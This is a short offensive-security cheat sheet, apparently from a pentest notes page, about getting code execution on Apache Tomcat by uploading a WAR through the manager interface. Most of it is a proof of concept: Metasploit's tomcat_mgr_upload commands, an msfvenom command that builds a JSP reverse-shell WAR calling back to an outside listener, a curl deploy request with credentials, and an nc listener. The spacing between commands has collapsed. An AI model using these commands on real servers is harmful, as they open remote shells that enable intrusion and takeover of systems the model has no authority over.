You will only be able to deploy a WAR if you have enough privileges (roles: admin, manager and manager-script).
Those details can be find under tomcat-users.xml usually defined in /usr/share/tomcat9/etc/tomcat-users.xml (it vary between versions)
PoC
# metasploituseexploit/multi/http/tomcat_mgr_uploadmsfexploit(multi/http/tomcat_mgr_upload) >setrhost<IP>msfexploit(multi/http/tomcat_mgr_upload) >setrport<port>msfexploit(multi/http/tomcat_mgr_upload) >sethttpusername<username>msfexploit(multi/http/tomcat_mgr_upload) >sethttppassword<password>msfexploit(multi/http/tomcat_mgr_upload) >exploit# msfvenom - manuallymsfvenom-pjava/jsp_shell_reverse_tcpLHOST=10.11.0.41LPORT=8083-fwar-orevshell.war# upload it to tomcat and access it : /revshell/curl--upload-fileshell.war-u'tomcat:password'"https://example.com/manager/text/deploy?path=/shell"# hostnc-lvnp8083